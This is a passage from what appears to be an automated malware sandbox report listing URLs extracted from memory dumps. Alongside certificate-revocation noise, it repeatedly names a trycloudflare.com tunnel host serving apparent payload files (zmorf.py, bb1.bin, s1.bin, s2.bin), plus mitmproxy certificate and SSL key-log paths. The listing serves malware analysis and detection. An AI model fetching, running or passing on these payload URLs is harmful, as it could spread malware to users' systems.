"00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;wvtasn1catmemberinfodecodemicrosoft.management.infrastructure.dllmicrosoft.management.infrastructure.dll1.3.6.1.4.1.311.60.3.2" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comwvtasn1spcstatementtypedecodecurl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cerc" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0net1hwinc.erisxware" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005872.00000002.174371.7AC20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005872.00000002.174371.7AC93000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005872.00000002.174371.7AC93000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000002.174371.7AC93000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005872.00000002.174371.7AC93000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>1t<" - Source: "00000000-00005872.00000002.174371.7ACFA000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005872.00000002.174371.7AD1E000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000002.174371.7AD1E000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\programdata\microsoft\windows" - Source: "00000000-00005872.00000002.174371.7B206000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000002.174371.7B206000.00000004.mdmp") Found URL "http://wy]d'" - Source: "00000000-00005872.00000002.174371.7B2E0000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000002.174371.7B2FB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000002.174371.7B2FB000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip'" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005872.00000002.174371.7B326000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005872.00000002.174371.BBAB2000.00000002.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py'" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin'" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt'" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin'" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt'" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin'" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt'" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtprocessor_identifier=intel64" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.compathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplbaseurl=https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtcommonprogramfiles(x86)=c:\program" - Source: "00000000-00006572.00000000.174709.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py'" - Source: "00000000-00006572.00000000.174709.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin'" - Source: "00000000-00006572.00000000.174709.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt'" - Source: "00000000-00006572.00000000.174709.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin'" - Source: "00000000-00006572.00000000.174709.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt'" - Source: "00000000-00006572.00000000.174709.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin'" - Source: "00000000-00006572.00000000.174709.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt'" - Source: "00000000-00006572.00000000.174709.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00006572.00000000.174709.239C0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcvo>" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0q0erissaf>mah>tar>72.5.29.10]" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookhus1!0the" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3px" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l4669ll," - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@washington1redmond1microsoft" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006572.00000000.174709.3DC30000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006572.00000000.174709.3E110000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006572.00000000.174709.3E110000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006572.00000000.174709.3E110000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py'" - Source: "00000000-00006572.00000000.174709.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin'" - Source: "00000000-00006572.00000000.174709.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt'" - Source: "00000000-00006572.00000000.174709.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin'" - Source: "00000000-00006572.00000000.174709.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt'" - Source: "00000000-00006572.00000000.174709.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin'" - Source: "00000000-00006572.00000000.174709.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt'" - Source: "00000000-00006572.00000000.174709.3E210000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006572.00000000.174709.C46E2000.00000002.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py'" - Source: "00000000-00006572.00000001.175144.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin'" - Source: "00000000-00006572.00000001.175144.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt'" - Source: "00000000-00006572.00000001.175144.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin'" - Source: "00000000-00006572.00000001.175144.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt'" - Source: "00000000-00006572.00000001.175144.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin'" - Source: "00000000-00006572.00000001.175144.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt'" - Source: "00000000-00006572.00000001.175144.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtprocessor_identifier=intel64" - Source: "00000000-00006572.00000001.175144.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.compathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplbaseurl=https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.comsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtcommonprogramfiles(x86)=c:\program" - Source: "00000000-00006572.00000001.175144.23700000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt'" - Source: "00000000-00006572.00000001.175144.2372F000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin'" - Source: "00000000-00006572.00000001.175144.2372F000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt'" - Source: "00000000-00006572.00000001.175144.2372F000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin'" - Source: "00000000-00006572.00000001.175144.2372F000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt'" - Source: "00000000-00006572.00000001.175144.2372F000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin'" - Source: "00000000-00006572.00000001.175144.2372F000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py'" - Source: "00000000-00006572.00000001.175144.2372F000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py'" - Source: "00000000-00006572.00000001.175144.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin'" - Source: "00000000-00006572.00000001.175144.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt'" - Source: "00000000-00006572.00000001.175144.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin'" - Source: "00000000-00006572.00000001.175144.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt'" - Source: "00000000-00006572.00000001.175144.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin'" - Source: "00000000-00006572.00000001.175144.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt'" - Source: "00000000-00006572.00000001.175144.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00006572.00000001.175144.239C0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py'" - Source: "00000000-00006572.00000001.175144.252F0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin'" - Source: "00000000-00006572.00000001.175144.252F0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt'" - Source: "00000000-00006572.00000001.175144.252F0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin'" - Source: "00000000-00006572.00000001.175144.252F0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt'" - Source: "00000000-00006572.00000001.175144.252F0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin'" - Source: "00000000-00006572.00000001.175144.252F0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt'" - Source: "00000000-00006572.00000001.175144.252F0000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00006572.00000001.175144.252F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcvo>" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0q0erissaf>mah>tar>72.5.29.10]" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookhus1!0the" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3@_p" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l4669ll," - Source: "00000000-00006572.00000001.175144.3DC50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@washington1redmond1microsoft" - Source: "00000000-00006572.00000001.175144.3DCC2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006572.00000001.175144.3DCC2000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py'" - Source: "00000000-00006572.00000001.175144.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin'" - Source: "00000000-00006572.00000001.175144.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt'" - Source: "00000000-00006572.00000001.175144.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin'" - Source: "00000000-00006572.00000001.175144.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt'" - Source: "00000000-00006572.00000001.175144.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin'" - Source: "00000000-00006572.00000001.175144.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt'" - Source: "00000000-00006572.00000001.175144.3E210000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py'" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.bin'" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/bb1.txt'" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin'" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt'" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin'" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt'" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com/2@%systemroot%\system32\mswsock.dll,-60100%systemroot%\system32\mswsock.dllsystemroot%\system32\pnrpnsp.dlld364e35subcalegal_policy_statement.%systemroot%\system32\pnrpnsp.dll,-1001%systemroot%\system32\wshtcpip.dll,-60103%systemroot%\system32\napinsp.dll,-1000:\users\hapubws\appdata\roaming%systemroot%\system32\nlasvc.dll,-1000%systemroot%\system32\winrnr.dll,-1000d03db0c1-2729-4674-a875-8625dd784300" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "http://wwwposite-lodge-strict-closes.trycloudflare.com/opposite-lodge-strict-closes.trycloudflare.comdwan" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vktok0d$" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623621" - Source: "00000000-00006572.00000001.175144.3E250000.00000004.mdmp") Found URL 